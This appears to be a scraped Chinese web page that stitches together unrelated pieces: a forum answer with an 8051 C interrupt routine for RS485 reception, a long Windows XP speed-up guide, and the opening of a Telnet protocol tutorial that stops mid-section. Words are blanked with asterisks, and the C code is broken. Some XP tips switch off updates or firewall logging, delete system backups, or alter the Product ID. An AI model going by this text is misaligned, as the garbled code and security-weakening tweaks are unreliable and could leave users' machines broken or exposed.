端口全双工_端口扫描半双工

hacker|
143

PC机与单片机用RS485通信时,单片机如何用中断接收一帧数据?一帧数据包括7个字符。

有些人,不懂就不要瞎说,误导人啊

PC机与单片机直接是不能进行通信的,

我们知道pc与单片机多采用232串口通信,你使用的是485方式,也是可以的,不过PC机直接不支持485 啊,于是乎,你要用一个RS232-485的转换器,单片机端直接用MAX485芯片就行了,这是硬件。

数据通信与232通信是一样的,不过485是半双工的,单片机端需要做收发控制。

单片机采用中断方式或扫描方式都行,给你一段中断程序,你参考一下:

com_interrupt(void) interrupt 4 using 3

{

unsigned char RECEIVR_buffer;

if(RI) //处理接收中断

{

RI=0; //清除中断标志位

dat[n++]=SBUF;

if(n7) *** =1;

}

}

*** 是一个判断标志,如果你接收到7个数据后,标志置1,

在程序中处理为:

如果 *** ==1,你可以对你的dat数据处理,同时放n=0,等待下一次数据接收

OK

电脑速度慢

安装完系统后更好优化一下

◆一、系统优化设置

◆1、系统常规优化

1)关闭系统属性中的特效,这可是简单有效的提速良方。点击开始→控制面板→系统→高级→性能→设置→在视觉效果中,设置为调整为更佳性能→确定即可。

2)“我的电脑”-“属性”-“高级”-“错误报告”-选择“禁用错误汇报”。

3)再点“启动和故障恢复”-“设置”,将“将事件写入系统日志”、“发送管理警报”、“自动重新启动”这三项的勾去掉。再将下面的“写入调试信息”设置为“无”。

4)“我的电脑”-“属性”-“高级”-“性能”-“设置”-“高级”,将虚拟内存值设为物理内存的2.5倍,将初始大小和更大值值设为一样(比如你的内存是256M,你可以设置为640M),并将虚拟内存设置在系统盘外(注意:当移动好后要将原来的文件删除)。

5)将“我的文档”文件夹转到其他分区:右击“我的文档”-“属性“-“移动”,设置到系统盘以外的分区即可。

6)将IE临时文件夹转到其他分区:打开IE浏览器,选择“工具“-“internet选项”-“常规”-“设置”-“移动文件夹”,设置设置到系统盘以外的分区即可。

◆2、加速XP的开、关机

1)首先,打开“系统属性”点“高级”选项卡,在“启动和故障恢复”区里打开“设置”,去掉“系统启动”区里的两个√,如果是多系统的用户保留“显示操作系统列表的时间”的√。再点“编辑”确定启动项的附加属性为/fastdetect而不要改为/nodetect,先不要加/noguiboot属性,因为后面还要用到guiboot。

2)接下来这一步很关键,在“系统属性”里打开“硬件”选项卡,打开“设备管理器”,展开“IDE

ATA/ATAPI控制器”,双击打开“次要IDE通道”属性,点“高级设置”选项卡,把设备1和2的传送模式改为“DMA(若可用)”,设备类型如果可以选择“无”就选为“无”,点确定完成设置。同样的 *** 设置“主要IDE通道”。

3)设置预读改善开机速度,打开注册表,找到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session

Manager\Memory

Management\PrefetchParameters,右边窗口将EnablePrefetcher的数值更改为1(0-禁用预读,1-预读应用程序,2-系统启动预读,3-前两者皆预读)。电脑是

PIII800MHz以上的可以尝试将数值更改为4或5。

4)顺便把关机也加速一下吧。打开注册表(开始-运行-regedit),单击“我的电脑”打开“编辑”菜单的“查找”,输入AutoEndTasks,点“查找下一个”。双击打开找到的结果修改“数值数据”为1(此项是让系统自动关闭停止响应的程序)。然后在AutoEndTasks的下面找到HungAppTimeout(将其“数值数据”设为2000或者更小,推荐设为200),再找到WaitToKillAppTimeout(将其“数值数据”设为2000或者更小,推荐设为1000)。在这里顺便也把菜单延迟的时间修改一下,在AutoEndTasks的下面找到MenuShowDelay,数值是以毫秒为单位,如果想去掉菜单延迟就设为0。修改后点“编辑”菜单,打开“查找下一个”(快捷键F3),继续查找,把找到的结果都安照上一步的 *** 修改(注意:数值要对应相同)。

5)用上面的 *** 找到WaitToKillServiceTimeout并设置数值与WaitToKillAppTimeout相同。

6)享受了极速重启的乐趣后我们再进一步加速一下启动的速度,打开“系统属性”-“高级”-“启动和故障恢复”设置,打开“系统启动”区的编辑,在fastdetect的后面加上/noguiboot,这样在启动的时候就不会再显示滚动条。如果你非常喜欢这个滚动条的显示这一步就不用做了。

7)MsConfig。选择“运行”-“msconfig”。我们要动手脚的是“启动”选项卡,点击它,这个选项卡中显示了Windows启动时运行的所有程序。这里没有一个程序对Windows来说是生死悠关的,所以放心大胆地把不要的去掉。

◆3、减少开机磁盘扫描等待时间

选择“开始→运行”,在运行对话框中键入“chkntfs

/t:0”,即可将磁盘扫描等待时间设置为0;如果要在计算机启动时忽略扫描某个分区,比如C盘,可以输入“chkntfs/x

c:”命令;如果要恢复对C盘的扫描,可使用“chkntfs/d

c:”命令,即可还原所有chkntfs默认设置,除了自动文件检查的倒计时之外。

◆4、关掉调试器Dr.Watson

运行drwtsn32,把除了“转储全部线程上下文”之外的全都去掉。否则一旦有程序出错,硬盘会响很久,而且会占用很多空间。如果你以前遇到过这种情况,请查找user.dmp文件并删掉,可能会省掉几十M的空间。这是出错程序的现场,对我们没用。然后打开注册表,找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

NT\CurrentVersion\AeDebug子键分支,双击在它下面的Auto键值名称,将其“数值数据”改为0,最后按F5刷新使设置生效,这样就彻底来取消它的运行了。另外蓝屏时出现的memory.dmp也可删掉。在“我的电脑→属性→高级→设置→写入调试信息→选择无”。

◆5、关闭“系统还原”

鼠标右健单击桌面上的“我的电脑”,选择“属性”,找到“系统还原”去掉,这样可以节省好多空间。

◆6、关闭“休眠支持”

休眠功能会占用不少的硬盘空间,如果使用得少不妨将其关闭。打开“控制面板”-“电源选项”-“休眠”选项卡,取消“启用休眠”复选框。

◆7、取消对ZIP压缩文件的支持

点击开始→运行,敲入:“regsvr32/u

zipfldr.dll”双引号中间的,然后回车确认即可,成功的标志是出现个提示窗口,内容大致为:zipfldr.dll中的Dll

UnrgisterServer成功。

◆8、不加载DLL文件(卸载无用的动态链接)

找到注册表如下位置:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer,接下来建立一个名为AlwaysUnloadDLL,值为1的双字节值。如果想要去除这项优化,只需把该键值设为0(也可以干脆把键删掉)。

◆9、关闭错误报告

在“系统属性”对话框中选择“高级”选项卡,单击“错误报告”按钮,在弹出的“错误汇报”对话框中,选择“禁用错误汇报”单选项,最后单击“确定”即可。

◆10、加快窗口显示速度

打开注册表编辑器,找到HKEY_CURRENT_USER\Control

Panel\Desktop\WindowMetrics,右边窗口找到MinAniMate键值,把它改为0。

◆11、关闭自动更新

“我的电脑”右键,选择“属性”-“自动更新”-“关闭自动更新,我将手动更新计算机”,单击“确定”。

◆12、加快开始菜单的显示

打开注册表编辑器,找"HKEY_CURRENT_USER\Control

Panel\Desktop\MenuShowDelay"主键,适当调小该键值,更低可设为“0”。如果此 *** 无效,请从“控制面板”-“显示属性”-“显示效果”-“高级”,将"show

menushadow"项的选择取消,便可加快开始菜单的显示。

◆13、关闭磁盘索引

打开我的电脑-右击驱动器-“属性”-取消“使用索引以便快速查找文件”。

◆14、加快自动刷新率

运行注册表编辑器,找HKEY_LOCAL_MACHINE\ystem\CurrentControlSet\Control\Update\,将Dword[UpdateMode]的数值数据更改为[0]。

◆15、关闭自动重新启动功能

WindowsXP遇到严重问题时会突然重新开机,可从注册表将此功能取消。打开注册表编辑器,找到“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl\”将AutoReboot键的Dword值更改为0。

◆16、删除强加的附件

用记事本修改\winnt\inf\sysoc.inf,用查找/替换功能,在查找框中输入“,hide”(一个英文逗号紧跟hide),将“替换为”框设为空,并全部替换,这样,就把所有的,hide都去掉了;保存退出;运行“添加-删除程序”,就会看见“添加/删除Windows组件”中多出了好几个选项,这样你可以删除些没有用的附件。

◆17、启动时禁止自动调用"WindowsMessenger"

运行注册表编辑器,找到并删除"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\M *** SGS"此键来实现。

◆18、每次启动时保持桌面设置不变

打开注册表编辑器,找到HKEY_CURRENT_USERS\Software\Microsoft\Windows\CurrentVersion\

Polices\Explorer子键分支,在它的下面找到NoSaveSettings,将其键值改为“0”,或者直接删除该键值项。

◆19、在启动电脑时运行Defrag(磁盘打扫)程序

打开注册表编辑器,找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction键,将键值Enable设定为Y等于开启,而设定为N等于关闭。

◆20、清除预读文件

定期删除该文件夹内的所有文件,在安装盘的\Windows\prefetch文件夹里。

◆21、取消磁盘容量警告

打开注册表编辑器后,找到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer键,双击NoLowDiskSpaceChecks键并修改其数值为1然后“确定”即可。如果此键值不存在,则新建一个名为NoLowDiskSpaceChecks的DWORD值,并将其数值设为1然后“确定”即可。

◆22、在关机时清空页面文件(清空虚拟内存)

打开“控制面板”,点击“管理工具”→“本地安全策略”→“本地策略”→“安全选项”,双击其中“关机:清理虚拟内存页面文件”一项,点击弹出选单中的“已启用”选项,单击“确定”即可。

◆二、硬件优化设置

◆1、关掉不用的设备

在设备管理器中,将PCMCIA卡、调制解调器、红外线设备、打印机端口(LPT1)或者串口(COM1)等不常用的设备停用,在要停用设备属性对话框中的“常规”选项卡中选择“不要使用这个设备(停用)”。当需要使用这些设备时再从设备管理器中启用它们。

◆2、内存性能优化

WindowsXP中有几个选项可以优化内存性能,它们全都在注册表下面位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session

Manager\MemoryManagement

1)禁用内存页面调度(PagingExecutive)

XP会把内存中的片断写入硬盘,我们可以阻止它这样做,让数据保留在内存中,从而提升系统性能。256M以上内存才使用这个设置。把“DisablePagingExecutive”的值从0改为1就可以禁止内存页面调度了。

2)提升系统缓存

必须有256M以上的内存,才激活它。把LargeSystemCache键值从0改为1,一般来说,这项优化会使系统性能得到相当的提升,但也有可能会使某些应用程序性能降低。

3)输入/输出性能

内存大于256M才更改这里的值,这个优化只对server(服务器)用户才有实在意义,它能够提升系统进行大容量文件传输时的性能。建一个DWORD(双字节值)键值,命名为IOPageLockLimit,数值设8M-16M字节之间性能更好,具体设什么值,可试试哪个值可获得更佳性能。这个值是用字节来计算的,比如你要分配12M,就是12×1024×1024,也就是12582912。

◆3、启动硬盘/光驱DMA模式

“系统属性”-“硬件”-“设备管理器”,在设备列表中选择“IDEATA/ATAPI控制器”,双击“主要IDE通道”或“次要

IDE

通道”,在其属性对话框的“高级设置”选项卡中检查DMA模式是否已启动,一般来说如果设备支持,系统就会自动打开DMA功能,如果没有打开可将“传输模式”设为“DMA(若可用)”(在BIOS里也应该要先设为支持DMA)。

◆4、关闭自动播放功能

运行“组策略”程序,在组策略窗口左边栏中打开“计算机配置”,选择“管理模板”下的“系统”,然后在右边的配置栏中找到“关闭自动播放”并双击它,会弹出“关闭自动播放属性”对话框,在其中“设置”选项卡中选择“已启用”,“关闭自动播放”下拉列表中选择“所有驱动器”。

◆5、设置二级缓存容量

WindowsXP有时无法自动检测处理器的二级缓存容量,需要我们手动设置。运行注册表编辑器,找到HKCU_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session

Manager\Memory

Management,选择Dword值SecondLevelDataCache(如果没有就新建这个值),修改这个值(填时使用10进制)为你的CPU的二级缓存的大小,比如你的CPU的二级缓存是256KB,就修改Dword值SecondLevelDataCache为10进制的256即可。二级缓存大小介绍AMD系列Duron

64KBK6-3ThunderbirdAthlonXP256KBK6-2Athlon

512KB;Intel系列CeleronACeleron2128KBP2MobileP3E(EB)P4Willamette

256KBP2P3(katmai)P4(Northwood)

512KB。使用Winxp的请务必检查一下:打开注册表,找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

NT\CurrentVersion将"RegDone"的数值,由0改成1才算完成,这个操作很重要,很多奇怪的小毛病因此而解决.

◆6、取消微软的验证提示

安装驱动程式时往往会弹出窗口说程序没有经过微软的验证,我们可以在控制面板—系统—硬件—设备管理员—驱动程序签名,取消。

◆7、为IRQ中断请求排优先次序

计算机的每一个主要部件都设了个IRQ中断号。这里就是要通过修改每个IRQ请求的优先次序达到优化目的。这里主要的优化对象是系统CMOS实时钟,它通过主板来提升性能。首先,要确定你想要哪个组件获得更高的性能,然后找到这个硬件正在使用的IRQ中断号。怎么找呢?打开控制面板里的系统属性,选中“硬件”选项卡,然后点击“设备管理器”按钮。右键点击要查IRQ号的组件,选择“属性”,然后点击“资源”选项卡,这里可以看到设备正在使用的IRQ中断号(如果没有IRQ中断号,选择另一个设备)。把中断号记下来,然后运行注册表编辑器Regedit,找到注册表中的

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\PriorityControl

位置。我们要在这里建立一个名为IRQ#Priority(其中“#”是具体的IRQ中断号)的DWORD双字节值,然后把它的值设为1。譬如说,我的系统CMOS实时钟的IRQ中断号是8,我要建立的键名就是IRQ8Priority。重新启动计算机之后,就会发现刚优化过的组件性能有所提高。强烈建议用这个 *** 优化系统CMOS实时钟,因为它能改善整块主板的性能。当然也可以把多个IRQ中断号优先级提高,但这样做的效果没那么好,而且有可能造成系统不稳定。要把这个优化设置撤消的话,只要把刚才建立的注册表键值删掉就OK了。〈

◆三、 *** 优化设置

◆1、优化网上邻居

WindowsXP使用网上邻居时,首先会搜索自己的共享目录和可作为 *** 共享的打印机以及计划任务中和 *** 相关的计划任务,然后才显示出来,这样会直接影响计算机的运行速度,如果不必要的话,应将其删除。在注册表编辑器中找到

HKEY_LOCAL_MACHINE\sofeware\Microsoft\Windows\Current

Version\Explorer\RemoteComputer\NameSpace,删除其下的{2227A280-3AEA-1069-A2DE08002B30309D}(打印机)和{D6277990-4C6A-11CF-8D87-00AA0060F5BF}(计划任务)。

◆2、解决WinXP运行时停顿问题

开始- *** 连接-本地连接-选择属性-选择“Internet协议(TCP/IP)”属性,改IP地址:192.168.0.1

子网掩码:255.255.255.0。

◆3、让XP自动连网

打开拨号连接属性,把“提示名称、密码、凭证等”的勾去掉,然后把该拨号放到“启动”即完成。

◆4、释放QoSPacket占用的20% *** 带宽

打开“组策略”窗口,在左边栏中展开“计算机配置→管理模板→ *** →QoS数据包调度程序”,右边窗口双击“限制可保留带宽”,在其属性对话框中的“设置”选项卡中将“限制可保留带宽”设置为“已启用”,然后在下方“带宽限制”栏将“带宽限制”设置为

0就行了。

◆5、优化NTFS文件系统

取消更新最后一次磁盘访问,运行“regedit”在HKEY_LOCAL_MACHINE\SYSTEM\CurrentContolSet\Control\Filesystem中,加DWORD,数值为1。

◆6、优化防火墙

1)启用或禁用Internet连接防火墙,打开“ *** 连接”,右击要保护的连接,然后在属性框中选“高级”-“设置”-“启用”;

2)启用或禁用安全日志记录选项,右击启用防火墙的连接,在其属性框中选“高级”-“设置”-“高级”-“安全日志记录设置”,把两项勾去掉即可。

◆7.提高10/100M网卡传输速率

右键网卡所用的连接,打开“属性”对话框,选择所用网卡“配置”,“高级”栏中选择“LinkSpeed/Duplex

Mode”,紧接着在“设置值”栏中将“AutoMode”更改为“10Half

Mode”。这样,手工将10/100M自适应网卡的属性强制为10M半双工模式,使网卡之间不进行自动协商,让网卡之间在传输数据时始终以10Mbps的速度进行,大大提高了 *** 之间的传输效率。此设置只对部分网卡有效。

◆8、让IE快速启动并支持多线程下载

1)快速启动:右击任务栏上InternetExplorer图标,在“目标”后面加上“-nohome”参数(加参数后如下:"C:\Program

Files\InternetExplorer\IEXPLORE.EXE"

-nohome),确定即可。2)支持多线程下载:运行注册表编辑器,在“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet

Settings”下新建双字节值项“MaxConnectionsPerServer”,它决定了更大同步下载的连线数目,一般设定为5~8个连线数目比较好。

◆四、系统减肥设置

◆1、删除系统文件备份sfc.exe/purgecache(一般用户是不怎么用的)。

◆2、删除驱动备份\drivercache\i386目录下的Driver.cab文件(73M)。

◆3、取消系统还原(建议安装xp的盘使用,其它盘都别用,通过系统清理程序定期删除一些比较早的还原点)。

◆4、删除帮助文件(使用中文汉化包的文件大小为92兆,刚开始使用xp的同志更好别删)。

◆5、删掉\WINDOWS\system32\dllcache下文件(这是备用的dll文件,只要你拷贝了安装文件,完全可以这样做)。

◆6、把我的文档、IE的临时文件夹都转到其他分区。(同时对系统的速度和硬盘都有好处,如果使用的是双系统,更好把两个系统的IE临时文件都放在同一个文件夹,这样既加快速度有节省空间)。

◆7、把虚拟内存也转到其他盘(就是将这些东西和平时临时下载文件放在一个不大的分区里,这样也方便整理硬盘)。

◆8、将应用软件装在其他盘(这对重装系统也有好处,可以省很多事)。

◆9、删除\windows\ime下不用的输入法(日文、韩文、繁体中文输入法,到底哪个是哪个自己研究一下吧)。

◆10、如用NTFS格式装XP,本身就节省空间。

◆五、其他优化设置

◆1、修改WindowsXP的登录背景图案

打开注册表编辑器,找到HKEY_USERS\.DEFAULT\Control

Panel\Desktop子键分支,双击wallpaper,键入你选择好的图片的路径,点击“确定”,然后找到Tilewallpaper,双击它输入键值“1”。

◆2、修改登录时的背景色

打开注册表编辑器,找到HKEY_USERS\.DEFAULT\Control

Panel\Colors子键分支,双击Background键值名,出现“编辑字符串”对话框,在“数值数据”文本框中输入代表颜色的键值(比如黑色的RGB值为000,白色的RGB值为255

255255,系统默认值是58110165),点击“确定”按钮即可。

◆3、设置启动信息或增加警告信息

打开注册表编辑器,找到HKEY_LOCAL_MACHINE_SOFTWARE\Microsoft\Windows

NT\CurrentVersion\Winlogon子键分支,双击在它下面的LegalNoticeCaption健值名称,打开“编辑字符串”窗口,在“数值数据”文本框中输入信息对话框的标题,比如“你好,欢迎使用本机器”,然后双击LegalNoticeText,在随后出现的“编辑字符串”窗口中输入想要显示的警告信息,比如“请不要随意修改本级的设置,谢谢!”,单击“确定”按钮。

◆4、定制按钮文字颜色

打开注册表编辑器,找到HKEY_CURRENT_USER\Control

Panel\Colors子键分支,双击Bottontext,将其键值改为你想要颜色的值,如红色2550

0,单击“确定”按钮,重启即可看到效果了,此时按钮上的文字颜色将变成红色,此外你还可以修改按钮的宽度和高度及背景等参数。

◆5、修改鼠标右键菜单

这里以在鼠标右键菜单上添加“用DOS窗口在这里浏览”为例。1)打开注册表编辑器,找到HKEY_CLASSES_ROOT\Directory\shell,然后选中它,点击鼠标右键,新建一个主键,取名为“DOS”,然后选中新建的主键,在右边双击默认字符串值,在弹出的对话框中输入“用DOS窗口在这里浏览”,然后选中新建的主键,再建立一个主键,取名为“command”,选中“command”主键,修改默认值为“cmd.exe

/k"cd%L"”即可。

◆6、修改系统ID号(ID号在WinXP里面很重要)

在系统属性里面的常规标签下我们可以看到一串数字就是ID号。正版的WinXP每一套的ID号是不相同的,修改它要打开注册表编辑器,ID号主要放在这几个键值下:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet

Explorer\Registration的字符串ProductId

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Userinformation的字符串产品标识

/☆如果没有使用向微软注册的话,这里不会出现☆/

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion的字符串ProductId

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

NT\CurrentVersion的字符串ProductId

以上4个地方就是在注册表中存放ID的键值,要同时修改,修改完以后再看系统属性里面的常规标签,以免修改失败,导致ID还原。

◆7、修改系统版本号

在关于Windows里面有一个内部版本号(正式版的是:2600.xpclient.010817-1148),这个版本号也是存放在注册表中的,位置在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

NT\CurrentVersion,它用一个字符串来记录,修改这个名字叫做BuildLab的字符串就可以修改你的XP的版本号

如何连接到远程计算机?有几种说几种要详细点。

一 摘要

二 远程登录

三 Telnet协议

四 Win2000的Telnet服务

五 在telnet中该做什么

六 结束语

一 摘要

Telnet的应用不仅方便了我们进行远程登录,也给hacker们提供了又一种入侵手段和后门,但无论如何,在你尽情享受Telnet所带给你的便捷的同时,你是否真正的了解Telnet呢?

二 远程登录

Telnet服务虽然也属于客户机/服务器模型的服务,但它更大的意义在于实现了基于Telnet协议的远程登录(远程交互式计算),那么就让我们来认识一下远程登录。

1 远程登陆的基本概念

先来看看什么叫登录:分时系统允许多个用户同时使用一台计算机,为了保证系统的安全和记帐方便,系统要求每个用户有单独的帐号作为登录标识,系统还为每个用户指定了一个口令。用户在使用该系统之前要输入标识和口令,这个过程被称为'登录'。

远程登陆是指用户使用Telnet命令,使自己的计算机暂时成为远程主机的一个仿真终端的过程。仿真终端等效于一个非智能的机器,它只负责把用户输入的每个字符传递给主机,再将主机输出的每个信息回显在屏幕上。

2 远程登陆的产生及发展

我们可以先构想一个提供远程文字编辑的服务,这个服务的实现需要一个接受编辑文件请求和数据的服务器以及一个发送此请求的客户机。客户机将建立一个从本地机到服务器的TCP连接,当然这需要服务器的应答,然后向服务器发送键入的信息(文件编辑信息),并读取从服务器返回的输出。以上便是一个标准而普通的客户机/服务器模型的服务。

似乎有了客户机/服务器模型的服务,一切远程问题都可以解决了。然而实际并非你想象的那样简单,如果我们仅需要远程编辑文件,那么刚才所构想的服务完全可以胜任,但假如我们的要求并不是这么简单,我们还想实现远程用户管理,远程数据录入,远程系统维护,想实现一切可以在远程主机上实现的操作,那么我们将需要大量专用的服务器程序并为每一个可计算服务都使用一个服务器进程,随之而来的问题是:远程机器会很快对服务器进程应接不暇,并淹没在进程的海洋里(我们在这里排除最专业化的远程机器)。

那么有没有办法解决呢?当然有,我们可以用远程登录来解决这一切。我们允许用户在远地机器上建立一个登录会话,然后通过执行命令来实现更一般的服务,就像在本地操作一样。这样,我们便可以访问远地系统上所有可用的命令,并且系统设计员不需提供多个专用地服务器程序。

问题发展到这里好像前途一片光明了,用远程登录总应该解决问题了吧,但要实现远程登陆并不简单。不考虑 *** 设计的计算机系统期望用户只从直接相连的键盘和显示器上登录,在这种机器上增加远程登陆功能需要修改机器的操作系统,这是极其艰巨也是我们尽量避免的。因此我们应该集中力量构造远程登陆服务器软件,虽然这样也是比较困难的。为什么说这样做也比较困难呢?

举个例子来说:一般,操作系统会为一些特殊按键分配特殊的含义,比如本地系统将'Ctrl+C'解释为:'终止当前运行的命令进程'。但假设我们已经运行了远程登陆服务器软件,'Ctrl+C'也有可能无法被传送到远地机器,如果客户机真的将'Ctrl+C'传到了远地机器,那么'Ctrl+C'这个命令有可能不能终止本地的进程,也就是说在这里很可能会产生混乱。而且这仅仅是遇到的难题之一。

但尽管有技术上的困难,系统编程人员还是设法构造了能够应用于大多数操作系统的远程登陆服务器软件,并构造了充当客户机的应用软件。通常,客户机软件取消了除一个键以外的所有键的本地解释,并将这些本地解释相应的转换成远地解释,这就使得客户机软件与远地机器的交互,就如同坐在远程主机面前一样,从而避免了上述所提到的混乱。而那个唯一例外的键,可以使用户回到本地环境。

将远程登陆服务器设计为应用级软件,还有另一个要求,那就是需要操作系统提供对伪终端(pseudo terminal)的支持。我们用伪终端描述操作系统的入口点,它允许像Telnet服务器一样的程序向操作系统传送字符,并且使得字符像是来自本地键盘一样。只有使用这样的操作系统,才能将远程登陆服务器设计为应用级软件(比如Telnet服务器软件),否则,本地操作系统和远地系统传送将不能识别从对方传送过来的信息(因为它们仅能识别从本地键盘所键入的信息),远程登陆将宣告失败。

将远程登陆服务器设计为应用级软件虽然有其显著的优点:比将代码嵌入操作系统更易修改和控制服务器。但其也有效率不高的缺点(后面的内容将会给予解释),好在用户键入信息的速率不高,这种设计还是可以接受的。

3 远程登录的工作过程

使用Telnet协议进行远程登陆时需要满足以下条件:在本的计算机上必须装有包含Telnet协议的客户程序;必须知道远程主机的Ip地址或域名;必须知道登录标识与口令。

Telnet远程登录服务分为以下4个过程:

1)本地与远程主机建立连接。该过程实际上是建立一个TCP连接,用户必须知道远程主机的Ip地址或域名;

2)将本地终端上输入的用户名和口令及以后输入的任何命令或字符以NVT(Net Virtual Terminal)格式传送到远程主机。该过程实际上是从本地主机向远程主机发送一个IP数据报;

3)将远程主机输出的NVT格式的数据转化为本地所接受的格式送回本地终端,包括输入命令回显和命令执行结果;

4)最后,本地终端对远程主机进行撤消连接。该过程是撤销一个TCP连接。

上面的内容只是讨论了远程登陆最基本的东西,其中的复杂和编程人员的艰辛是我们难以想象的,不知道你在舒服的使用Telnet的同时,是否想到了这些!

三 Telnet协议

我们知道Telnet服务器软件是我们最常用的远程登录服务器软件,是一种典型的客户机/服务器模型的服务,它应用Telnet协议来工作。那么,什么是Telnet协议?它都具备哪些特点呢?

1 基本内容

Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议。应用Telnet协议能够把本地用户所使用的计算机变成远程主机系统的一个终端。它提供了三种基本服务:

1)Telnet定义一个 *** 虚拟终端为远的系统提供一个标准接口。客户机程序不必详细了解远的系统,他们只需构造使用标准接口的程序;

2)Telnet包括一个允许客户机和服务器协商选项的机制,而且它还提供一组标准选项;

3)Telnet对称处理连接的两端,即Telnet不强迫客户机从键盘输入,也不强迫客户机在屏幕上显示输出。

2 适应异构

为了使多个操作系统间的Telnet交互操作成为可能,就必须详细了解异构计算机和操作系统。比如,一些操作系统需要每行文本用ASCII回车控制符(CR)结束,另一些系统则需要使用ASCII换行符(LF),还有一些系统需要用两个字符的序列回车-换行(CR-LF);再比如,大多数操作系统为用户提供了一个中断程序运行的快捷键,但这个快捷键在各个系统中有可能不同(一些系统使用CTRL+C,而另一些系统使用ESCAPE)。如果不考虑系统间的异构性,那么在本地发出的字符或命令,传送到远地并被远地系统解释后很可能会不准确或者出现错误。因此,Telnet协议必须解决这个问题。

为了适应异构环境,Telnet协议定义了数据和命令在Internet上的传输方式,此定义被称作 *** 虚拟终端NVT(Net Virtual Terminal)。它的应用过程如下:

对于发送的数据:客户机软件把来自用户终端的按键和命令序列转换为NVT格式,并发送到服务器,服务器软件将收到的数据和命令,从NVT格式转换为远地系统需要的格式;

对于返回的数据:远地服务器将数据从远地机器的格式转换为NVT格式,而本地客户机将将接收到的NVT格式数据再转换为本地的格式。

对于NVT格式的详细定义,有兴趣的朋友可以去查找相关资料。

3 传送远地命令

我们知道绝大多数操作系统都提供各种快捷键来实现相应的控制命令,当用户在本地终端键入这些快捷键的时候,本地系统将执行相应的控制命令,而不把这些快捷键作为输入。那么对于Telnet来说,它是用什么来实现控制命令的远地传送呢?

Telnet同样使用NVT来定义如何从客户机将控制功能传送到服务器。我们知道USASCII字符集包括95个可打印字符和33个控制码。当用户从本地键入普通字符时,NVT将按照其原始含义传送;当用户键入快捷键(组合键)时,NVT将把它转化为特殊的ASCII字符在 *** 上传送,并在其到达远地机器后转化为相应的控制命令。将正常ASCII字符集与控制命令区分主要有两个原因:

1)这种区分意味着Telnet具有更大的灵活性:它可在客户机与服务器间传送所有可能的ASCII字符以及所有控制功能;

2)这种区分使得客户机可以无二义性的指定信令,而不会产生控制功能与普通字符的混乱。

4 数据流向

上面我们提到过将Telnet设计为应用级软件有一个缺点,那就是:效率不高。这是为什么呢?下面给出Telnet中的数据流向:

数据信息被用户从本地键盘键入并通过操作系统传到客户机程序,客户机程序将其处理后返回操作系统,并由操作系统经过 *** 传送到远地机器,远地操作系统将所接收数据传给服务器程序,并经服务器程序再次处理后返回到操作系统上的伪终端入口点,最后,远地操作系统将数据传送到用户正在运行的应用程序,这便是一次完整的输入过程;输出将按照同一通路从服务器传送到客户机。

因为每一次的输入和输出,计算机将切换进程环境好几次,这个开销是很昂贵的。还好用户的键入速率并不算高,这个缺点我们仍然能够接受。

5 强制命令

我们应该考虑到这样一种情况:假设本地用户运行了远地机器的一个无休止循环的错误命令或程序,且此命令或程序已经停止读取输入,那么操作系统的缓冲区可能因此而被占满,如果这样,远地服务器也无法再将数据写入伪终端,并且最终导致停止从TCP连接读取数据,TCP连接的缓冲区最终也会被占满,从而导致阻止数据流流入此连接。如果以上事情真的发生了,那么本地用户将失去对远地机器的控制。

为了解决此问题,Telnet协议必须使用外带信令以便强制服务器读取一个控制命令。我们知道TCP用紧急数据机制实现外带数据信令,那么Telnet只要再附加一个被称为数据标记(date mark)的保留八位组,并通过让TCP发送已设置紧急数据比特的报文段通知服务器便可以了,携带紧急数据的报文段将绕过流量控制直接到达服务器。作为对紧急信令的相应,服务器将读取并抛弃所有数据,直到找到了一个数据标记。服务器在遇到了数据标记后将返回正常的处理过程。

6 选项协商

由于Telnet两端的机器和操作系统的异构性,使得Telnet不可能也不应该严格规定每一个telnet连接的详细配置,否则将大大影响Telnet的适应异构性。因此,Telnet采用选项协商机制来解决这一问题。

Telnet选项的范围很广:一些选项扩充了大方向的功能,而一些选项制涉及一些微小细节。例如:有一个选项可以控制Telnet是在半双工还是全双工模式下工作(大方向);还有一个选项允许远地机器上的服务器决定用户终端类型(小细节)。

Telnet选项的协商方式也很有意思,它对于每个选项的处理都是对称的,即任何一端都可以发出协商申请;任何一端都可以接受或拒绝这个申请。另外,如果一端试图协商另一端不了解的选项,接受请求的一端可简单的拒绝协商。因此,有可能将更新,更复杂的Telnet客户机服务器版本与较老的,不太复杂的版本进行交互操作。如果客户机和服务器都理解新的选项,可能会对交互有所改善。否则,它们将一起转到效率较低但可工作的方式下运行。所有的这些设计,都是为了增强适应异构性,可见Telnet的适应异构性对其的应用和发展是多么重要。

上面讨论了一些原理方面的东西,虽然我们在Telnet的使用过程中很难接触到这一层面,但我认为了解这些是有意义的,它会给我们带来许多启示。下面让我们来看看Win2000的Telnet服务。

(本系列教程不定期更新,欲获得最新版本,请登陆官方网站:菜菜鸟社区 )

四 Win2000的Telnet服务

其实从应用层面上,Win2000的Telnet服务并没有什么可说的,绝大部分内容你都可以从HELP文件中得到,我在此只是把它稍微整理一下而已。

1 基本配置

Win2000为我们提供了Telnet客户机和服务器程序:Telnet.exe是客户机程序(Client),tlntsvr.exe是服务器程序(server),同时它还为我们提供了Telnet服务器管理程序tlntadmn.exe。

Windows 2000 默认安装了 Telnet 服务,但是并没有默认启动。下面给出HELP文件中 Telnet 服务的一部分默认设置:

